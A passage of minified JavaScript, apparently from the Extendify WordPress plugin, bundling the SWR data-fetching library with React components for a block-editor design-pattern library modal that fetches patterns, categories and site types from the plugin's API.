i)e(n,r)},u=()=>{if(!Qu.has(e)&&(Qu.set(e,[r,{},{},{},i,l,a]),!hc)){const t=n.initFocus(setTimeout.bind(zu,xc.bind(zu,r,0))),i=n.initReconnect(setTimeout.bind(zu,xc.bind(zu,r,1)));o=()=>{t&&t(),i&&i(),Qu.delete(e)}}};return u(),[e,i,u,o]}return[e,Qu.get(e)[4]]},[Sc,Pc]=Ec(new Map),Tc=Gu({onLoadingSlow:Hu,onSuccess:Hu,onError:Hu,onErrorRetry:(e,__,t,n,r)=>{const i=t.errorRetryCount,o=r.retryCount,s=~~((Math.random()+.5)*(1<<(o<8?o:8)))*t.errorRetryInterval;!Yu(i)&&o>i||setTimeout(n,s,r)},onDiscarded:Hu,revalidateOnFocus:!0,revalidateOnReconnect:!0,revalidateIfStale:!0,shouldRetryOnError:!0,errorRetryInterval:gc?1e4:5e3,focusThrottleInterval:5e3,dedupingInterval:2e3,loadingTimeout:gc?5e3:3e3,compare:(e,t)=>Zu(e)==Zu(t),isPaused:()=>!1,cache:Sc,mutate:Pc,fallback:{}},uc),Cc=(e,t)=>{const n=Gu(e,t);if(t){const{use:r,fallback:i}=e,{use:o,fallback:s}=t;r&&o&&(n.use=r.concat(o)),i&&s&&(n.fallback=Gu(i,s))}return n},Ac=(0,e.createContext)({}),Rc=t=>{const{value:n}=t,r=(0,e.useContext)(Ac),i=Ku(n),o=(0,e.useMemo)((()=>i?n(r):n),[i,r,n]),s=(0,e.useMemo)((()=>i?o:Cc(r,o)),[i,r,o]),a=o&&o.provider,l=(0,e.useRef)(zu);a&&!l.current&&(l.current=Ec(a(s.cache||Sc),o));const u=l.current;return u&&(s.cache=u[0],s.mutate=u[1]),mc((()=>{if(u)return u[2]&&u[2](),u[3]}),[]),(0,e.createElement)(Ac.Provider,Gu(t,{value:s}))},kc="$inf$",Dc=rc&&window.__SWR_DEVTOOLS_USE__,Oc=Dc?window.__SWR_DEVTOOLS_USE__:[],Vc=e=>Ku(e[1])?[e[0],e[1],e[2]||{}]:[e[0],null,(null===e[1]?e[2]:e[1])||{}],Lc=Oc.concat((e=>(t,n,r)=>e(t,n&&((...e)=>{const[r]=vc(t),[,,,i]=Qu.get(Sc);if(r.startsWith(kc))return n(...e);const o=i[r];return Yu(o)?n(...e):(delete i[r],o)}),r))),Mc=t=>function(...n){const r=Gu(Tc,(0,e.useContext)(Ac)),[i,o,s]=Vc(n),a=Cc(r,s);let l=t;const{use:u}=a,c=(u||[]).concat(Lc);for(let e=c.length;e--;)l=c[e](l);return l(i,o||a.fetcher||null,a)},Fc=(e,t,n)=>{const r=t[e]||(t[e]=[]);return r.push(n),()=>{const e=r.indexOf(n);e>=0&&(r[e]=r[r.length-1],r.pop())}},jc=(e,t)=>(...n)=>{const[r,i,o]=Vc(n),s=(o.use||[]).concat(t);return e(r,i,{...o,use:s})};Dc&&(window.__SWR_DEVTOOLS_REACT__=e);const Nc=e.use||(e=>{if("pending"===e.status)throw e;if("fulfilled"===e.status)return e.value;throw"rejected"===e.status?e.reason:(e.status="pending",e.then((t=>{e.status="fulfilled",e.value=t}),(t=>{e.status="rejected",e.reason=t})),e)}),Ic={dedupe:!0};qu.defineProperty(Rc,"defaultValue",{value:Tc});const Bc=Mc(((t,n,r)=>{const{cache:i,compare:o,suspense:s,fallbackData:a,revalidateOnMount:l,revalidateIfStale:u,refreshInterval:c,refreshWhenHidden:d,refreshWhenOffline:h,keepPreviousData:p}=r,[m,f,g,v]=Qu.get(i),[y,w]=vc(t),b=(0,e.useRef)(!1),x=(0,e.useRef)(!1),E=(0,e.useRef)(y),S=(0,e.useRef)(n),P=(0,e.useRef)(r),T=()=>P.current,C=()=>T().isVisible()&&T().isOnline(),[A,R,k,D]=oc(i,y),O=(0,e.useRef)({}).current,V=Yu(a)?r.fallback[y]:a,L=(e,t)=>{for(const n in O){const r=n;if("data"===r){if(!o(e[r],t[r])){if(!Yu(e[r]))return!1;if(!o($,t[r]))return!1}}else if(t[r]!==e[r])return!1}return!0},M=(0,e.useMemo)((()=>{const e=!!y&&!!n&&(Yu(l)?!T().isPaused()&&!s&&(!!Yu(u)||u):l),t=t=>{const n=Gu(t);return delete n._k,e?{isValidating:!0,isLoading:!0,...n}:n},r=A(),i=D(),o=t(r),a=r===i?o:t(i);let c=o;return[()=>{const e=t(A());return L(e,c)?(c.data=e.data,c.isLoading=e.isLoading,c.isValidating=e.isValidating,c.error=e.error,c):(c=e,e)},()=>a]}),[i,y]),F=(0,Wu.useSyncExternalStore)((0,e.useCallback)((e=>k(y,((t,n)=>{L(n,t)||e()}))),[i,y]),M[0],M[1]),j=!b.current,N=m[y]&&m[y].length>0,I=F.data,B=Yu(I)?V:I,_=F.error,U=(0,e.useRef)(B),$=p?Yu(I)?U.current:I:B,W=!(N&&!Yu(_))&&(j&&!Yu(l)?l:!T().isPaused()&&(s?!Yu(B)&&u:Yu(B)||u)),H=!!(y&&n&&j&&W),z=Yu(F.isValidating)?H:F.isValidating,q=Yu(F.isLoading)?H:F.isLoading,Y=(0,e.useCallback)((async e=>{const t=S.current;if(!y||!t||x.current||T().isPaused())return!1;let n,i,s=!0;const a=e||{},l=!g[y]||!a.dedupe,u=()=>dc?!x.current&&y===E.current&&b.current:y===E.current,c={isValidating:!1,isLoading:!1},d=()=>{R(c)},h=()=>{const e=g[y];e&&e[1]===i&&delete g[y]},p={isValidating:!0};Yu(A().data)&&(p.isLoading=!0);try{if(l&&(R(p),r.loadingTimeout&&Yu(A().data)&&setTimeout((()=>{s&&u()&&T().onLoadingSlow(y,r)}),r.loadingTimeout),g[y]=[t(w),wc()]),[n,i]=g[y],n=await n,l&&setTimeout(h,r.dedupingInterval),!g[y]||g[y][1]!==i)return l&&u()&&T().onDiscarded(y),!1;c.error=zu;const e=f[y];if(!Yu(e)&&(i<=e[0]||i<=e[1]||0===e[1]))return d(),l&&u()&&T().onDiscarded(y),!1;const a=A().data;c.data=o(a,n)?a:n,l&&u()&&T().onSuccess(n,y,r)}catch(e){h();const t=T(),{shouldRetryOnError:n}=t;t.isPaused()||(c.error=e,l&&u()&&(t.onError(e,y,t),(!0===n||Ku(n)&&n(e))&&(T().revalidateOnFocus&&T().revalidateOnReconnect&&!C()||t.onErrorRetry(e,y,t,(e=>{const t=m[y];t&&t[0]&&t[0](3,e)}),{retryCount:(a.retryCount||0)+1,dedupe:!0}))))}return s=!1,d(),!0}),[y,i]),K=(0,e.useCallback)(((...e)=>bc(i,E.current,...e)),[]);if(mc((()=>{S.current=n,P.current=r,Yu(I)||(U.current=I)})),mc((()=>{if(!y)return;const e=Y.bind(zu,Ic);let t=0;const n=Fc(y,m,((n,r={})=>{if(0==n){const n=Date.now();T().revalidateOnFocus&&n>t&&C()&&(t=n+T().focusThrottleInterval,e())}else if(1==n)T().revalidateOnReconnect&&C()&&e();else{if(2==n)return Y();if(3==n)return Y(r)}}));return x.current=!1,E.current=y,b.current=!0,R({_k:w}),W&&(Yu(B)||hc?e():pc(e)),()=>{x.current=!0,n()}}),[y]),mc((()=>{let e;function t(){const t=Ku(c)?c(A().data):c;t&&-1!==e&&(e=setTimeout(n,t))}function n(){A().error||!d&&!T().isVisible()||!h&&!T().isOnline()?t():Y(Ic).then(t)}return t(),()=>{e&&(clearTimeout(e),e=-1)}}),[c,d,h,y]),(0,e.useDebugValue)($),s&&Yu(B)&&y){if(!dc&&hc)throw new Error("Fallback data is required when using suspense in SSR.");S.current=n,P.current=r,x.current=!1;const e=v[y];if(!Yu(e)){const t=K(e);Nc(t)}if(!Yu(_))throw _;{const e=Y(Ic);Yu($)||(e.status="fulfilled",e.value=!0),Nc(e)}}return{mutate:K,get data(){return O.data=!0,$},get error(){return O.error=!0,_},get isValidating(){return O.isValidating=!0,z},get isLoading(){return O.isLoading=!0,q}}})),_c=Promise.resolve(),Uc=jc(Bc,(t=>(n,r,i)=>{const o=(0,e.useRef)(!1),{cache:s,initialSize:a=1,revalidateAll:l=!1,persistSize:u=!1,revalidateFirstPage:c=!0,revalidateOnMount:d=!1,parallel:h=!1}=i,[,,,p]=Qu.get(Sc);let m;try{m=(e=>vc(e?e(0,null):null)[0])(n),m&&(m=kc+m)}catch(e){}const[f,g,v]=oc(s,m),y=(0,e.useCallback)((()=>Yu(f()._l)?a:f()._l),[s,m,a]);(0,Wu.useSyncExternalStore)((0,e.useCallback)((e=>m?v(m,(()=>{e()})):()=>{}),[s,m]),y,y);const w=(0,e.useCallback)((()=>{const e=f()._l;return Yu(e)?a:e}),[m,a]),b=(0,e.useRef)(w());mc((()=>{o.current?m&&g({_l:u?b.current:w()}):o.current=!0}),[m,s]);const x=d&&!o.current,E=t(m,(async e=>{const t=f()._i,o=f()._r;g({_r:zu});const a=[],u=w(),[d]=oc(s,e),m=d().data,v=[];let y=null;for(let e=0;e{if(u in p){const e=p[u];delete p[u],w=await e}else w=await r(d);g({data:w,_k:d}),a[e]=w};h?v.push(t):await t()}else a[e]=w;h||(y=w)}return h&&await Promise.all(v.map((e=>e()))),g({_i:zu}),a}),i),S=(0,e.useCallback)((function(e,t){const n="boolean"==typeof t?{revalidate:t}:t||{},r=!1!==n.revalidate;return m?(r&&(Yu(e)?g({_i:!0,_r:n.revalidate}):g({_i:!1,_r:n.revalidate})),arguments.length?E.mutate(e,{...n,revalidate:r}):E.mutate()):_c}),[m,s]),P=(0,e.useCallback)((e=>{if(!m)return _c;const[,t]=oc(s,m);let r;if(Ku(e)?r=e(w()):"number"==typeof e&&(r=e),"number"!=typeof r)return _c;t({_l:r}),b.current=r;const i=[],[o]=oc(s,m);let a=null;for(let e=0;efetch(e).then((e=>e.json())),Hc=window.wp.blockEditor,zc=window.wp.blocks;var qc=i(967),Yc=i.n(qc);const Kc=window.lodash,Gc=(e,t=[])=>Array.from(t).some((t=>!!t.style&&Array.from(t.style).some((t=>t&&t.includes(e))))),Xc=new WeakMap,Jc=({insertPattern:t,code:n})=>{const[i,o]=(0,r.useState)(!1),a=(0,r.useRef)(),l=(0,r.useMemo)((()=>(0,zc.rawHandler)({HTML:Zc(n)})),[n]),{ready:u}=(({container:e,onIFrameLoaded:t,ready:n,loadDelay:i})=>{const o=(()=>{const e=(0,r.useRef)(!1);return(0,r.useEffect)((()=>(e.current=!0,()=>e.current=!1))),e})(),[s,a]=(0,r.useState)(0),[l,u]=(0,r.useState)(null),[c,d]=(0,r.useState)(!1),h=(0,r.useRef)(!1),{addMissingCSSVar:p}=V(),m=(0,r.useCallback)((e=>{if(!e?.contentDocument)return;const t=getComputedStyle(e.contentDocument.documentElement),n=e.contentDocument.styleSheets;for(let r in Ou)t.getPropertyValue(r)||Array.from(n).filter((e=>{try{return e.cssRules}catch(e){return!1}})).some((e=>Gc(r,e.cssRules)))||(p(r),e.contentDocument.documentElement.style.setProperty(r,Ou[r]))}),[p]),f=(0,r.useCallback)((async(e,t)=>{var n;if(e.getBoundingClientRect().toprequestAnimationFrame(e))),await new Promise((e=>requestAnimationFrame(e)));for(const t of o){if(!e.contentDocument?.defaultView)return;const n=parseFloat(e.contentDocument.defaultView.getComputedStyle(t).height);t.offsetHeight,t.style.minHeight=n>500?"500px":n+"px"}e.style.setProperty("max-height","none","important"),h.current=!1}),[]);return(0,r.useEffect)((()=>{if(!n)return;const r=setTimeout((()=>{if(l)return;const n=e?.querySelector("iframe[title]");if(!n)return a((e=>e+1));u(n),requestAnimationFrame((()=>t(n,e)))}),100);return()=>clearTimeout(r)}),[l,n,s,e,t]),(0,r.useEffect)((()=>{if(d(!1),!l?.contentDocument)return;const t={attributes:!1,childList:!0,subtree:!0};requestAnimationFrame((()=>n(l,e)));const n=(0,Kc.debounce)((async()=>{o.current&&!h.current&&(r.disconnect(),await f(l,e),"extendable"!==window.extSharedData.themeSlug&&await m(l,e),setTimeout((()=>d(!0)),i),o.current&&r.observe(l.contentDocument,t))}),300),r=new MutationObserver(n);return r.observe(l.contentDocument,t),()=>{n.cancel(),r?.disconnect()}}),[l,e,o,n,f,m,i]),{loading:!l,ready:c}})({container:a.current,ready:i,onIFrameLoaded:()=>{},loadDelay:50});return(0,r.useEffect)((()=>o(!0)),[]),(0,e.createElement)("button",{ref:a,type:"button","aria-label":(0,s.__)("Insert Pattern","extendify-local"),className:Yc()("library-pattern relative z-10 m-0 mb-8 inline-block w-full cursor-pointer border bg-transparent p-0 focus:shadow-sm focus:outline-none focus:ring-wp focus:ring-design-main focus:ring-offset-2 focus:ring-offset-[#FAFAFA]",{"border-transparent opacity-0":!u,"border-gray-400 opacity-100":u}),onClick:()=>t(l)},(0,e.createElement)(Hc.BlockPreview,{blocks:l,live:!1,viewportWidth:1400,additionalStyles:[{css:'.rich-text [data-rich-text-placeholder]:after { content: "" }'}]}))},Zc=e=>e.replace(/(https?:\/\/\S+\?w=\d+)/gi,"$1&q=10&auto=format,compress&fm=avif"),Qc=({insertPattern:t,siteType:n,category:i})=>{const{data:o,isLoading:a,setSize:l}=(e=>{const t={siteType:void 0,category:void 0,wpVersion:window.extSharedData.wpVersion,lang:window.extSharedData.wpLanguage||null,showLocalizedCopy:window.extSharedData.showLocalizedCopy||null,...e},{data:n,error:r,isLoading:i,isValidating:o,mutate:s,size:a,setSize:l}=Uc(((e,n)=>{if(!t.category)return null;if(n&&!n.length)return null;const r=new URLSearchParams({page:e+1});return Object.entries(t).filter((([,e])=>void 0!==e)).forEach((([e,t])=>{r.append(e,t)})),`${$c}/api/patterns?${r.toString()}`}),Wc,{initialSize:2,revalidateFirstPage:!1,revalidateIfStale:!1,revalidateOnFocus:!1,revalidateOnReconnect:!1});return{data:n,error:r,isLoading:i,isValidating:o,mutate:s,size:a,setSize:l}})({siteType:n?.slug,category:i}),[u,c]=(0,r.useState)(!0),[d,h]=function({threshold:t,delay:n,trackVisibility:r,rootMargin:i,root:o,triggerOnce:s,skip:a,initialInView:l,fallbackInView:u,onChange:c}={}){var d;const[h,p]=e.useState(null),m=e.useRef(),[f,g]=e.useState({inView:!!l,entry:void 0});m.current=c,e.useEffect((()=>{if(a||!h)return;let e;return e=ju(h,((t,n)=>{g({inView:t,entry:n}),m.current&&m.current(t,n),n.isIntersecting&&s&&e&&(e(),e=void 0)}),{root:o,rootMargin:i,threshold:t,trackVisibility:r,delay:n},u),()=>{e&&e()}}),[Array.isArray(t)?t.toString():t,h,o,i,s,a,r,u,n]);const v=null==(d=f.entry)?void 0:d.target,y=e.useRef();h||!v||s||a||y.current===v||(y.current=v,g({inView:!!l,entry:void 0}));const w=[p,f.inView,f.entry];return w.ref=w[0],w.inView=w[1],w.entry=w[2],w}(),p=o?.at(-1)?.length<9;return(0,r.useEffect)((()=>{if(a)return c(!0);const e=setTimeout((()=>{c(!1)}),750);return()=>clearTimeout(e)}),[a]),(0,r.useEffect)((()=>{h&&!a&&l((e=>e+1))}),[h,a,l]),a||!o?.length?(0,e.createElement)("div",{className:"absolute inset-0 flex flex-col items-center justify-center text-center"},(0,e.createElement)(Vu.Spinner,null),(0,e.createElement)("span",{className:"sr-only"},(0,s.__)("Loading Patterns...","extendify-local"))):(0,e.createElement)(e.Fragment,null,(0,e.createElement)($u,{breakpointCols:{default:3,1600:2,1e3:1,783:2,600:1},columnClassName:"",className:"relative flex w-full gap-6 p-8 pt-2"},o.map((n=>n.map((({id:n,code:r})=>(0,e.createElement)(Jc,{key:n,insertPattern:t,code:r})))))),u?(0,e.createElement)("div",{className:"absolute inset-0 z-0 flex flex-col items-center justify-center text-center"},(0,e.createElement)(Vu.Spinner,null),(0,e.createElement)("span",{className:"sr-only"},(0,s.__)("Loading Patterns...","extendify-local"))):null,u||p?null:(0,e.createElement)("div",{ref:d,className:"mb-6 mt-6 flex w-full justify-center md:mt-2"},(0,e.createElement)(Vu.Spinner,null),(0,e.createElement)("span",{className:"sr-only"},(0,s.__)("Loading more patterns...","extendify-local"))))},ed=e.use||(e=>{if("pending"===e.status)throw e;if("fulfilled"===e.status)return e.value;throw"rejected"===e.status?e.reason:(e.status="pending",e.then((t=>{e.status="fulfilled",e.value=t}),(t=>{e.status="rejected",e.reason=t})),e)}),td={dedupe:!0};qu.defineProperty(Rc,"defaultValue",{value:Tc});const nd=Mc(((t,n,r)=>{const{cache:i,compare:o,suspense:s,fallbackData:a,revalidateOnMount:l,revalidateIfStale:u,refreshInterval:c,refreshWhenHidden:d,refreshWhenOffline:h,keepPreviousData:p}=r,[m,f,g,v]=Qu.get(i),[y,w]=vc(t),b=(0,e.useRef)(!1),x=(0,e.useRef)(!1),E=(0,e.useRef)(y),S=(0,e.useRef)(n),P=(0,e.useRef)(r),T=()=>P.current,C=()=>T().isVisible()&&T().isOnline(),[A,R,k,D]=oc(i,y),O=(0,e.useRef)({}).current,V=Yu(a)?r.fallback[y]:a,L=(e,t)=>{for(const n in O){const r=n;if("data"===r){if(!o(e[r],t[r])){if(!Yu(e[r]))return!1;if(!o($,t[r]))return!1}}else if(t[r]!==e[r])return!1}return!0},M=(0,e.useMemo)((()=>{const e=!!y&&!!n&&(Yu(l)?!T().isPaused()&&!s&&(!!Yu(u)||u):l),t=t=>{const n=Gu(t);return delete n._k,e?{isValidating:!0,isLoading:!0,...n}:n},r=A(),i=D(),o=t(r),a=r===i?o:t(i);let c=o;return[()=>{const e=t(A());return L(e,c)?(c.data=e.data,c.isLoading=e.isLoading,c.isValidating=e.isValidating,c.error=e.error,c):(c=e,e)},()=>a]}),[i,y]),F=(0,Wu.useSyncExternalStore)((0,e.useCallback)((e=>k(y,((t,n)=>{L(n,t)||e()}))),[i,y]),M[0],M[1]),j=!b.current,N=m[y]&&m[y].length>0,I=F.data,B=Yu(I)?V:I,_=F.error,U=(0,e.useRef)(B),$=p?Yu(I)?U.current:I:B,W=!(N&&!Yu(_))&&(j&&!Yu(l)?l:!T().isPaused()&&(s?!Yu(B)&&u:Yu(B)||u)),H=!!(y&&n&&j&&W),z=Yu(F.isValidating)?H:F.isValidating,q=Yu(F.isLoading)?H:F.isLoading,Y=(0,e.useCallback)((async e=>{const t=S.current;if(!y||!t||x.current||T().isPaused())return!1;let n,i,s=!0;const a=e||{},l=!g[y]||!a.dedupe,u=()=>dc?!x.current&&y===E.current&&b.current:y===E.current,c={isValidating:!1,isLoading:!1},d=()=>{R(c)},h=()=>{const e=g[y];e&&e[1]===i&&delete g[y]},p={isValidating:!0};Yu(A().data)&&(p.isLoading=!0);try{if(l&&(R(p),r.loadingTimeout&&Yu(A().data)&&setTimeout((()=>{s&&u()&&T().onLoadingSlow(y,r)}),r.loadingTimeout),g[y]=[t(w),wc()]),[n,i]=g[y],n=await n,l&&setTimeout(h,r.dedupingInterval),!g[y]||g[y][1]!==i)return l&&u()&&T().onDiscarded(y),!1;c.error=zu;const e=f[y];if(!Yu(e)&&(i<=e[0]||i<=e[1]||0===e[1]))return d(),l&&u()&&T().onDiscarded(y),!1;const a=A().data;c.data=o(a,n)?a:n,l&&u()&&T().onSuccess(n,y,r)}catch(e){h();const t=T(),{shouldRetryOnError:n}=t;t.isPaused()||(c.error=e,l&&u()&&(t.onError(e,y,t),(!0===n||Ku(n)&&n(e))&&(T().revalidateOnFocus&&T().revalidateOnReconnect&&!C()||t.onErrorRetry(e,y,t,(e=>{const t=m[y];t&&t[0]&&t[0](3,e)}),{retryCount:(a.retryCount||0)+1,dedupe:!0}))))}return s=!1,d(),!0}),[y,i]),K=(0,e.useCallback)(((...e)=>bc(i,E.current,...e)),[]);if(mc((()=>{S.current=n,P.current=r,Yu(I)||(U.current=I)})),mc((()=>{if(!y)return;const e=Y.bind(zu,td);let t=0;const n=Fc(y,m,((n,r={})=>{if(0==n){const n=Date.now();T().revalidateOnFocus&&n>t&&C()&&(t=n+T().focusThrottleInterval,e())}else if(1==n)T().revalidateOnReconnect&&C()&&e();else{if(2==n)return Y();if(3==n)return Y(r)}}));return x.current=!1,E.current=y,b.current=!0,R({_k:w}),W&&(Yu(B)||hc?e():pc(e)),()=>{x.current=!0,n()}}),[y]),mc((()=>{let e;function t(){const t=Ku(c)?c(A().data):c;t&&-1!==e&&(e=setTimeout(n,t))}function n(){A().error||!d&&!T().isVisible()||!h&&!T().isOnline()?t():Y(td).then(t)}return t(),()=>{e&&(clearTimeout(e),e=-1)}}),[c,d,h,y]),(0,e.useDebugValue)($),s&&Yu(B)&&y){if(!dc&&hc)throw new Error("Fallback data is required when using suspense in SSR.");S.current=n,P.current=r,x.current=!1;const e=v[y];if(!Yu(e)){const t=K(e);ed(t)}if(!Yu(_))throw _;{const e=Y(td);Yu($)||(e.status="fulfilled",e.value=!0),ed(e)}}return{mutate:K,get data(){return O.data=!0,$},get error(){return O.error=!0,_},get isValidating(){return O.isValidating=!0,z},get isLoading(){return O.isLoading=!0,q}}})),rd=jc(nd,(e=>(t,n,r)=>(r.revalidateOnFocus=!1,r.revalidateIfStale=!1,r.revalidateOnReconnect=!1,e(t,n,r)))),id=async()=>{const e=new URLSearchParams({wpVersion:window.extSharedData.wpVersion||null,lang:window.extSharedData.wpLanguage||null});return await fetch(`${$c}/api/categories?${e.toString()}`).then((e=>e.json()))},od=y(T((e=>({categories:[],setCategories:t=>e({categories:t})})),{name:"extendify-library-cache"})),sd=()=>{const{category:t,siteType:n,setCategory:i}=Ru(),{data:o,isLoading:a,errorCount:l}=(()=>{var e;const[t,n]=(0,r.useState)(0),i=null!==(e=window.extSharedData?.wpLanguage)&&void 0!==e?e:"en_US",{data:o,error:s,isLoading:a}=rd(`categories-${i}`,id,{onError:()=>n((e=>e+1)),onSuccess:()=>n(0)});return{data:o,errorCount:t>1?t:s?1:0,isLoading:a}})(),{categories:u,setCategories:c}=od();return(0,r.useEffect)((()=>{a||l||c(o)}),[o,a,c,l]),(0,r.useEffect)((()=>{const e=e=>n?.name&&document.querySelector(`#extendify-library-category-${e}`)?.focus();if(u?.length){if(t){if("all"===t)return e("all");if(u?.find((({slug:e})=>e===t)))return e(t)}i("all"),e("all")}}),[t,i,u,n?.name]),(0,e.createElement)(Vu.PanelBody,{title:(0,s.__)("Design Type","extendify-local"),className:"ext-type-control p-0",initialOpen:!!n?.name},(0,e.createElement)(Vu.PanelRow,null,(0,e.createElement)(ad,{categories:u,errorCount:l,current:t,setCurrent:i})))},ad=({categories:t,errorCount:n,current:r,setCurrent:i})=>{const o=e=>Yc()("text-sm w-full text-left px-3 py-1 mb-0.5 block cursor-pointer rounded",{"bg-design-main text-design-text":r===e,"bg-transparent text-gray-900 hover:bg-gray-100":r!==e});return t?.length?(0,e.createElement)("ul",{className:"m-0 -mt-1.5 max-h-half w-full overflow-y-auto rounded-b border border-gray-300 px-1 py-2"},(0,e.createElement)("li",{className:"m-0 p-0"},(0,e.createElement)("button",{type:"button",id:"extendify-library-category-all",onClick:()=>i("all"),className:o("all")},(0,s.__)("All","extendify-local"))),t.map((({slug:t,id:n,name:r})=>(0,e.createElement)("li",{key:n,className:"m-0 p-0"},(0,e.createElement)("button",{type:"button",id:`extendify-library-category-${t}`,onClick:()=>i(t),className:o(t)},r))))):n>1?(0,e.createElement)("div",{className:"-mt-1 flex w-full flex-col items-center justify-center gap-2 border-t border-gray-300 p-2"},(0,e.createElement)("span",null,(0,s.__)("Retrying...","extendify-local")),(0,e.createElement)(Vu.Spinner,null)):(0,e.createElement)("div",{className:"-mt-1 flex w-full justify-center border-t border-gray-300 p-2"},(0,e.createElement)("span",{className:"sr-only"},(0,s.__)("Fetching...","extendify-local")),(0,e.createElement)(Vu.Spinner,null))},ld=()=>{const{siteType:t,setSiteType:n}=Ru(),i=!!t?.name,[o,a]=(0,r.useState)(!i),[l,u]=(0,r.useState)(""),[c,d]=(0,r.useState)(""),[h,p]=(0,r.useState)(!1),{data:m,loading:f}=(e=>{const{data:t,error:n}=rd(e||"cold-boot",(async()=>{const{wpLanguage:t}=window.extSharedData,n=performance.now(),r=new URL(`${$c}/api/site-types`);e&&r.searchParams.append("search",e),e||r.searchParams.append("boot","true"),t&&r.searchParams.append("lang",t);const i=await fetch(r.toString(),{headers:{"Content-Type":"application/json"}});if(!e)return;if(!i.ok)throw new Error("Bad response from server");const o=await i.json();if(!Array.isArray(o))throw new Error("Bad response from server");return{siteTypes:o,time:((performance.now()-n)/1e3).toFixed(4)}}));return{data:t,error:n,loading:!t&&!n}})(c),g=(0,r.useRef)();return(0,r.useEffect)((()=>{o&&(u(""),g.current?.focus())}),[o]),(0,r.useEffect)((()=>{if(!m&&!f)return p(!1);p(f)}),[f,m]),(0,r.useEffect)((()=>{if(!l)return p(!1);p(!0);const e=setTimeout((()=>d(l)),300);return()=>clearTimeout(e)}),[l]),(0,e.createElement)(Vu.PanelBody,{title:i?(0,s.sprintf)( // translators: %s is the site type name (0,s.__)("Site Type: %s","extendify-local"),t.name):(0,s.__)("Site Type","extendify-local"),className:"ext-type-control p-0",onToggle:a,opened:o,initialOpen:o},(0,e.createElement)(Vu.PanelRow,{className:"m-0 -mt-1.5 flex max-h-half w-full flex-col gap-2 overflow-y-auto rounded-b border border-gray-300 p-4"},(0,e.createElement)(Vu.SearchControl,{ref:g,className:"w-full",label:(0,s.__)("Search for your site type","extendify-local"),placeholder:(0,s.__)("Search for your site type","extendify-local"),value:l,onChange:u}),h&&(0,e.createElement)("div",{className:"flex w-full justify-center p-2"},(0,e.createElement)("span",{className:"sr-only"},(0,s.__)("Fetching...","extendify-local")),(0,e.createElement)(Vu.Spinner,null)),m?.siteTypes?.length>0&&!h&&(0,e.createElement)("ul",{className:"m-0 w-full overflow-y-auto px-0 pb-2"},m.siteTypes.slice(0,5).map((t=>(0,e.createElement)("li",{key:t.id,className:"m-0 p-0"},(0,e.createElement)("button",{type:"button",id:`site-type-${t.id}`,onClick:()=>{n(t),u(""),a(!1)},className:"mb-0.5 block w-full cursor-pointer rounded bg-transparent px-3 py-1 text-left text-sm text-gray-900 hover:bg-gray-100"},t.name)))))))},{partnerLogo:ud,partnerName:cd}=window.extSharedData,dd=()=>(0,e.createElement)("div",{className:"hidden flex-shrink-0 flex-col gap-6 md:flex md:w-80"},ud?(0,e.createElement)("div",{className:"flex justify-center bg-banner-main p-6 py-0"},(0,e.createElement)("div",{className:"flex h-20 w-40 items-center justify-center py-3"},(0,e.createElement)("img",{className:"max-h-full max-w-full",src:ud,alt:cd}))):(0,e.createElement)("div",{className:"-mb-5 hidden px-5 py-3 text-extendify-black sm:flex sm:pt-5"},(0,e.createElement)(a,{icon:O,size:40})),(0,e.createElement)("div",{className:"flex flex-col gap-4 overflow-y-auto pb-16"},(0,e.createElement)("div",{className:"hidden flex-col overflow-x-hidden px-4 md:flex"},(0,e.createElement)(ld,null)),(0,e.createElement)("div",{id:"extendify-library-category-control","data-test":"category-control",className:"hidden flex-col overflow-x-hidden px-4 md:flex"},(0,e.createElement)(sd,null)))),hd=({onClose:t})=>(0,e.createElement)("button",{className:"block h-6 w-6 cursor-pointer bg-transparent p-px text-inherit outline-none focus:shadow-none focus:ring-wp focus:ring-design-main",type:"button",onClick:t,"data-test":"modal-close-button","aria-label":(0,s.__)("Close","extendify-local")},(0,e.createElement)("svg",{style:{fill:"currentColor"},xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,e.createElement)("path",{d:"M13 11.8l6.1-6.3-1-1-6.1 6.2-6.1-6.2-1 1 6.1 6.3-6.5 6.7 1 1 6.5-6.6 6.5 6.6 1-1z"}))),pd=({openOnNewPage:t,updateUserOption:n,onClose:r})=>(0,e.createElement)("div",{className:"mb-2 flex h-16 flex-shrink-0 items-center justify-end gap-6 px-8"},(0,e.createElement)("label",{className:"mt-4 flex items-center gap-2",htmlFor:"extendify-open-on-new-pages",title:(0,s.sprintf)( // translators: %s: Extendify Library term (0,s.__)("Toggle %s on new pages","extendify-local"),"Extendify Library")},(0,e.createElement)("input",{id:"extendify-open-on-new-pages",className:"m-0 rounded-sm border border-solid border-gray-900",type:"checkbox",checked:t,onChange:e=>n("openOnNewPage",e.target.checked)}),(0,e.createElement)("span",null,(0,s.__)("Open for new pages","extendify-local"))),(0,e.createElement)("div",{className:"mt-4"},(0,e.createElement)(hd,{onClose:r}))),md=window?.location?.pathname?.includes("post-new.php"),fd=()=>{const{incrementActivity:t}=D(),{open:n,setOpen:i}=V(),{updateUserOption:o,openOnNewPage:a}=Du(),{category:l,siteType:c,incrementImports:d}=Ru(),{createNotice:h}=(0,M.dispatch)("core/notices"),p=(0,r.useRef)(!1),m=()=>{i(!1)};return(0,r.useLayoutEffect)((()=>{if(!n&&!p.current)return p.current=!0,a&&md?(window.dispatchEvent(new CustomEvent("extendify-hc:minimize")),t("library-auto-open"),void i(!0)):void(new URLSearchParams(window.location.search).has("ext-open")&&(i(!0),t("library-search-param-auto-open")))}),[a,i,t,n]),(0,r.useEffect)((()=>{const e=()=>i(!0),t=()=>i(!1);return window.addEventListener("extendify::open-library",e),window.addEventListener("extendify::close-library",t),()=>{window.removeEventListener("extendify::open-library",e),window.removeEventListener("extendify::close-library",t)}}),[i,n]),n?(0,e.createElement)(Gt,{className:"extendify-library extendify-library-modal",open:n,static:!0,onClose:()=>{}},(0,e.createElement)("div",{className:"absolute mx-auto h-full w-full md:p-8"},(0,e.createElement)("div",{className:"fixed inset-0 bg-black/30",style:{backdropFilter:"blur(2px)"},"aria-hidden":"true"}),(0,e.createElement)(Su.div,{key:"library-modal",initial:{y:30,opacity:0},animate:{y:0,opacity:1},exit:{y:0,opacity:0},transition:{duration:.3},className:"relative mx-auto h-full w-full max-w-screen-3xl bg-white shadow-2xl sm:flex sm:overflow-hidden"},(0,e.createElement)(Gt.Title,{className:"sr-only"},(0,s.__)("Design Patterns","extendify-local")),(0,e.createElement)(dd,null),(0,e.createElement)("div",{className:"relative flex w-full flex-col 